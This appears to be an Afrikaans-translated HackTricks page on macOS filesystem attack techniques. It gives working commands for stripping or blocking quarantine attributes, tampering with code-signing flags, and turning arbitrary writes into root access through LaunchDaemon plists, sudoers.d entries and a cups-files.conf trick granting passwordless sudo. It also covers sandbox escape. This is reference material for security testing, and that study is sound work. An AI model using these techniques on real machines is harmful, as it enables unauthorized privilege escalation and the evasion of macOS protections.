macOS FS Tricks
Reading time: 14 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
POSIX toestemmingskombinasies
Toestemmings in 'n gids:
- lees - jy kan die gids inskrywings opnoem
- skryf - jy kan verwyder/skryf lĂȘers in die gids en jy kan leĂ« vouers verwyder.
- Maar jy kan nie nie-leë vouers verwyder/wysig tensy jy skryftoestemmings daaroor het.
- Jy kan nie die naam van 'n vouer wysig tensy jy dit besit.
- voer uit - jy is toegelaat om die gids te deursoek - as jy nie hierdie reg het nie, kan jy nie enige lĂȘers binne dit, of in enige subgidsen, toegang nie.
Gevaarlike Kombinasies
Hoe om 'n lĂȘer/vouer wat deur root besit word te oorskryf, maar:
- Een ouer gids eienaar in die pad is die gebruiker
- Een ouer gids eienaar in die pad is 'n gebruikersgroep met skryftoegang
- 'n Gebruikers groep het skryf toegang tot die lĂȘer
Met enige van die vorige kombinasies, kan 'n aanvaller 'n sim/hard skakel na die verwagte pad injek om 'n bevoorregte arbitrĂȘre skryf te verkry.
Vouer root R+X Spesiale geval
As daar lĂȘers in 'n gids is waar slegs root R+X toegang het, is dit nie toeganklik vir enige ander nie. So 'n kwesbaarheid wat toelaat om 'n lĂȘer wat deur 'n gebruiker leesbaar is, wat nie gelees kan word weens daardie beperking, van hierdie vouer na 'n ander een te beweeg, kan misbruik word om hierdie lĂȘers te lees.
Voorbeeld in: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions
Simboliese Skakel / Hard Skakel
Toegestane lĂȘer/vouer
As 'n bevoorregte proses data in 'n lĂȘer skryf wat beheer kan word deur 'n laer bevoorregte gebruiker, of wat voorheen geskep is deur 'n laer bevoorregte gebruiker. Die gebruiker kan net na 'n ander lĂȘer wys via 'n Simboliese of Hard skakel, en die bevoorregte proses sal op daardie lĂȘer skryf.
Kyk in die ander afdelings waar 'n aanvaller 'n arbitrĂȘre skryf kan misbruik om voorregte te verhoog.
Open O_NOFOLLOW
Die vlag O_NOFOLLOW
wanneer dit deur die funksie open
gebruik word, sal nie 'n simskakel in die laaste padkomponent volg nie, maar dit sal die res van die pad volg. Die korrekte manier om te voorkom dat simskakels in die pad gevolg word, is deur die vlag O_NOFOLLOW_ANY
te gebruik.
.fileloc
LĂȘers met .fileloc
uitbreiding kan na ander toepassings of binĂȘre lĂȘers wys, so wanneer hulle geopen word, sal die toepassing/binĂȘre die een wees wat uitgevoer word.
Voorbeeld:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>
LĂȘer Beskrywings
Lek FD (geen O_CLOEXEC
)
As 'n oproep na open
nie die vlag O_CLOEXEC
het nie, sal die lĂȘer beskrywing geĂ«rf word deur die kind proses. So, as 'n bevoorregte proses 'n bevoorregte lĂȘer oopmaak en 'n proses uitvoer wat deur die aanvaller beheer word, sal die aanvaller die FD oor die bevoorregte lĂȘer geĂ«rf.
As jy 'n proses kan laat 'n lĂȘer of 'n gids met hoĂ« voorregte oopmaak, kan jy crontab
misbruik om 'n lĂȘer in /etc/sudoers.d
oop te maak met EDITOR=exploit.py
, sodat die exploit.py
die FD na die lĂȘer binne /etc/sudoers
sal kry en dit kan misbruik.
Byvoorbeeld: https://youtu.be/f1HA5QhLQ7Y?t=21098, kode: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
Vermy kwarantyn xattrs truuks
Verwyder dit
xattr -d com.apple.quarantine /path/to/file_or_app
uchg / uchange / uimmutable vlag
As 'n lĂȘer/gids hierdie onveranderlike eienskap het, sal dit nie moontlik wees om 'n xattr daarop te plaas nie.
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
defvfs mount
'n devfs mount ondersteun nie xattr nie, meer inligting in CVE-2023-32364
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
writeextattr ACL
Hierdie ACL verhoed dat xattrs
by die lĂȘer gevoeg word
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
cd /tmp
echo y | rm test
# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDouble lĂȘerformaat kopieer 'n lĂȘer insluitend sy ACEs.
In die bronkode is dit moontlik om te sien dat die ACL teksverteenwoordiging wat binne die xattr genaamd com.apple.acl.text
gestoor is, as ACL in die gedecomprimeerde lĂȘer gestel gaan word. So, as jy 'n toepassing in 'n zip-lĂȘer met AppleDouble lĂȘerformaat gekompresseer het met 'n ACL wat voorkom dat ander xattrs daarin geskryf word... was die kwarantyn xattr nie in die toepassing gestel nie:
Kontroleer die oorspronklike verslag vir meer inligting.
Om dit te repliseer, moet ons eers die korrekte acl string kry:
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs
# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip
# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test
(Note dat selfs al werk dit, die sandbox skryf die kwarantyn xattr voor)
Nie regtig nodig nie, maar ek laat dit daar net ingeval:
Bypass handtekening kontroles
Bypass platform binĂȘre kontroles
Sommige sekuriteitskontroles kyk of die binĂȘre 'n platform binĂȘre is, byvoorbeeld om verbinding te maak met 'n XPC-diens. Dit is egter moontlik om hierdie kontrole te omseil deur 'n platform binĂȘre (soos /bin/ls) te verkry en die uitbuiting via dyld te inspuit met 'n omgewing veranderlike DYLD_INSERT_LIBRARIES
.
Bypass vlae CS_REQUIRE_LV
en CS_FORCED_LV
Dit is moontlik vir 'n uitvoerende binĂȘre om sy eie vlae te wysig om kontroles te omseil met 'n kode soos:
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
Bypass Code Signatures
Bundles bevat die lĂȘer _CodeSignature/CodeResources
wat die hash van elke enkele lĂȘer in die bundle bevat. Let daarop dat die hash van CodeResources ook ingebed is in die uitvoerbare lĂȘer, so ons kan nie daarmee mors nie.
Daar is egter 'n paar lĂȘers waarvan die handtekening nie nagegaan sal word nie, hierdie het die sleutel omit in die plist, soos:
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
Dit is moontlik om die handtekening van 'n hulpbron vanaf die cli te bereken met:
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
Mount dmgs
'n Gebruiker kan 'n pasgemaakte dmg monteer wat selfs bo-op sommige bestaande vouers geskep is. So kan jy 'n pasgemaakte dmg-pakket met pasgemaakte inhoud skep:
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt
# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null
# Next time you mount it, it will have the custom content you wrote
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
Gewoonlik monteer macOS skywe deur te kommunikeer met die com.apple.DiskArbitrarion.diskarbitrariond
Mach diens (verskaf deur /usr/libexec/diskarbitrationd
). As jy die param -d
by die LaunchDaemons plist-lĂȘer voeg en herbegin, sal dit logs stoor in /var/log/diskarbitrationd.log
.
Dit is egter moontlik om gereedskap soos hdik
en hdiutil
te gebruik om direk met die com.apple.driver.DiskImages
kext te kommunikeer.
Willekeurige Skrywe
Periodieke sh skripte
As jou skrip as 'n shell skrip geĂŻnterpreteer kan word, kan jy die /etc/periodic/daily/999.local
shell skrip oorskryf wat elke dag geaktiveer sal word.
Jy kan 'n uitvoering van hierdie skrip fak met: sudo periodic daily
Daemons
Skryf 'n willekeurige LaunchDaemon soos /Library/LaunchDaemons/xyz.hacktricks.privesc.plist
met 'n plist wat 'n willekeurige skrip uitvoer soos:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Genereer net die skrip /Applications/Scripts/privesc.sh
met die opdragte wat jy as root wil uitvoer.
Sudoers LĂȘer
As jy arbitraire skryf het, kan jy 'n lĂȘer binne die gids /etc/sudoers.d/
skep wat jouself sudo regte gee.
PAD lĂȘers
Die lĂȘer /etc/paths
is een van die hoof plekke wat die PATH omgewing veranderlike vul. Jy moet root wees om dit te oorskryf, maar as 'n skrip van privileged process 'n opdrag sonder die volle pad uitvoer, mag jy in staat wees om dit te hijack deur hierdie lĂȘer te wysig.
Jy kan ook lĂȘers in /etc/paths.d
skryf om nuwe gidse in die PATH
omgewing veranderlike te laai.
cups-files.conf
Hierdie tegniek is in hierdie skrywe gebruik.
Skep die lĂȘer /etc/cups/cups-files.conf
met die volgende inhoud:
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
Dit sal die lĂȘer /etc/sudoers.d/lpe
met toestemmings 777 skep. Die ekstra rommel aan die einde is om die foutlogskepping te aktiveer.
Skryf dan in /etc/sudoers.d/lpe
die nodige konfigurasie om voorregte te verhoog soos %staff ALL=(ALL) NOPASSWD:ALL
.
Verander dan weer die lĂȘer /etc/cups/cups-files.conf
deur LogFilePerm 700
aan te dui sodat die nuwe sudoers-lĂȘer geldig word deur cupsctl
aan te roep.
Sandbox Escape
Dit is moontlik om die macOS sandbox te ontsnap met 'n FS arbitrĂȘre skrywe. Vir sommige voorbeelde, kyk na die bladsy macOS Auto Start, maar 'n algemene een is om 'n Terminal voorkeurlĂȘer in ~/Library/Preferences/com.apple.Terminal.plist
te skryf wat 'n opdrag by opstart uitvoer en dit aan te roep met open
.
Genereer skryfbare lĂȘers as ander gebruikers
Dit sal 'n lĂȘer genereer wat aan root behoort en deur my geskryf kan word (code from here). Dit mag ook as privesc werk:
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
POSIX Gedeelde Geheue
POSIX gedeelde geheue laat prosesse in POSIX-konforme bedryfstelsels toe om toegang te verkry tot 'n gemeenskaplike geheuegebied, wat vinniger kommunikasie vergemaklik in vergelyking met ander inter-proses kommunikasie metodes. Dit behels die skep of oopmaak van 'n gedeelde geheue objek met shm_open()
, die instelling van sy grootte met ftruncate()
, en die kartering daarvan in die proses se adresruimte met mmap()
. Prosesse kan dan direk lees van en skryf na hierdie geheuegebied. Om gelyktydige toegang te bestuur en data-korrupsie te voorkom, word sinchronisasie-meganismes soos mutexes of semafore dikwels gebruik. Laastens, ontkoppel prosesse en sluit die gedeelde geheue met munmap()
en close()
, en verwyder opsioneel die geheue objek met shm_unlink()
. Hierdie stelsel is veral effektief vir doeltreffende, vinnige IPC in omgewings waar verskeie prosesse vinnig toegang tot gedeelde data moet verkry.
Produksie Kode Voorbeeld
// gcc producer.c -o producer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Create the shared memory object
int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Configure the size of the shared memory object
if (ftruncate(shm_fd, SIZE) == -1) {
perror("ftruncate");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Write to the shared memory
sprintf(ptr, "Hello from Producer!");
// Unmap and close, but do not unlink
munmap(ptr, SIZE);
close(shm_fd);
return 0;
}
Verbruikerskode Voorbeeld
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);
// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink
return 0;
}
macOS Bewaakte Beskrywings
macOS bewaakte beskrywings is 'n sekuriteitskenmerk wat in macOS bekendgestel is om die veiligheid en betroubaarheid van lĂȘer beskrywing operasies in gebruikers toepassings te verbeter. Hierdie bewaakte beskrywings bied 'n manier om spesifieke beperkings of "wagters" met lĂȘer beskrywings te assosieer, wat deur die kern afgedwing word.
Hierdie kenmerk is veral nuttig om sekere klasse van sekuriteitskwesbaarhede soos ongemagtigde lĂȘer toegang of wedloop toestande te voorkom. Hierdie kwesbaarhede gebeur wanneer 'n draad byvoorbeeld 'n lĂȘer beskrywing benader wat 'n ander kwesbare draad toegang gee of wanneer 'n lĂȘer beskrywing geĂ«rf word deur 'n kwesbare kind proses. Sommige funksies wat met hierdie funksionaliteit verband hou, is:
guarded_open_np
: Oop 'n FD met 'n wagterguarded_close_np
: Sluit ditchange_fdguard_np
: Verander wagter vlae op 'n beskrywing (selfs om die wagter beskerming te verwyder)
Verwysings
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.